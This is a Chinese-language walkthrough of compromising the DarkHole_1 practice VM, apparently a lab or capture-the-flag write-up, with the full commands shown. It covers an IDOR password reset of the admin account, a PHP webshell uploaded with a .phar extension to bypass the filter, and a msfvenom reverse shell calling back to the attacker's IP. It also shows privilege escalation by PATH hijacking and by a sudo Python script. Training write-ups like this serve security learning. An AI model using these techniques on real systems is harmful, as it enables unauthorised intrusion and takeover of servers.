DarkHole靶机渗透过程

准备环境

攻击机：Kali-Linux-2021.2
目标靶机：DarkHole_1
平台：VMware Workstation 16
均为NAT模式

一、信息搜集

1.主机嗅探

Kali和DarkHole_1处于同一网段，查看Kali当前IP

ifconfig

可知Kali的IP为192.168.183.128/24，进行网段扫描

netdiscover -r 192.168.183.0/24

扫描结果显示靶机的IP地址为192.168.183.132

2.端口扫描

对靶机进行端口扫描

nmap -A -p- 192.168.183.132

扫出靶机开放端口为22和80

端口	服务
22	SSH
80	Http(Apache/Ubuntu)

3.访问其web页面

发现网页右上角有Login，点击转到登录界面

没有发现其他有价值信息

二、漏洞挖掘

1.目录扫描

对靶机web进行目录扫描

dirsearch -u http://192.168.183.132

发现以下目录

对config目录进行访问

存在一个名为database.php的文件，但没有读取权限

访问dashboard.php页面

提示无权限进行访问，估计应该是需要登陆

访问upload目录

发现存在名为d.jpg的图片，对其进行查看

将此图拖入WinHex中查看是否含有隐藏信息

其实可以发现其中貌似并没有任何有价值的信息

2.后台渗透

刚才目录扫描时，发现有注册页面，对其访问

发现当username为admin时，会提示用户admin已存在

先随便注册个用户并进入该用户后台

可以发现有个更改密码的选项，可以尝试在修改的同时抓个包

可知现在这个用户的id为2，猜测用户admin的id为1，尝试修改是否能达到更改admin密码的目的

在更改id之后，返回结果已回显密码已被更改，尝试使用用户amdin进行登录

3.拿到webshell

1.中国蚁剑之一句话木马

发现admin的后台有文件上传，推测应该有文件上传漏洞，测试使用一句话木马进行上传

但上传时报错，提示只能上传图片类的文件

经测试将后缀php改为jpg之后能上传，最终发现phar文件可以绕过上传检测，将一句话木马上传之后，使用中国蚁剑对其链接，可拿到后台

完成拿shell

2.msf之反弹shell

用msfvenom生成免杀反弹shell

msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.225.128 lport=9999 -e -f raw > msfvenom.phar

将该木马通过admin的后台上传至靶机，并且在msf中启动监听

# 使用监听模块
use exploit/multi/handler
# 设置本地监听服务器
set lhost 192.168.225.128
# 设置本地监听端口
set lport 9999
# 设置监听有效载荷
set patload php/meterpreter_reverse_tcp
# 查看配置信息
show options
# 运行
run

访问刚上传的木马文件，出现回显

完成拿shell

4.提权

发现用户john目录下有可执行的toto文件

尝试执行toto文件

./toto

由回显可知，文件toto是以用户john的身份运行命令id

编辑id文件，写入/bin/bash，将原有的路径写入到环境变量中，再次执行toto文件就会获得john的shell

echo '/bin/bash' > /tmp/id
chmod 777 /tmp/id
export PATH=/tmp:$PATH
./toto

password文件下为用户john的密码，可使用ssh登录上去

cat password

查看user.txt可拿到第一个flag

cat user.txt

查看file.py发现该文件为空

cat file.py

查看用户john所拥有的权限

sudo -l

发现可以用root身份使用python3命令执行file.py文件

可以写入shell到file.py文件中，然后使用sudo命令执行

echo "import os;os.system('/bin/bash')" > file.py

执行file.py

sudo python3 /home/john/file.py

进入root家目录查看文件

cd ~ && ls -lha

最后的flag值在root.txt中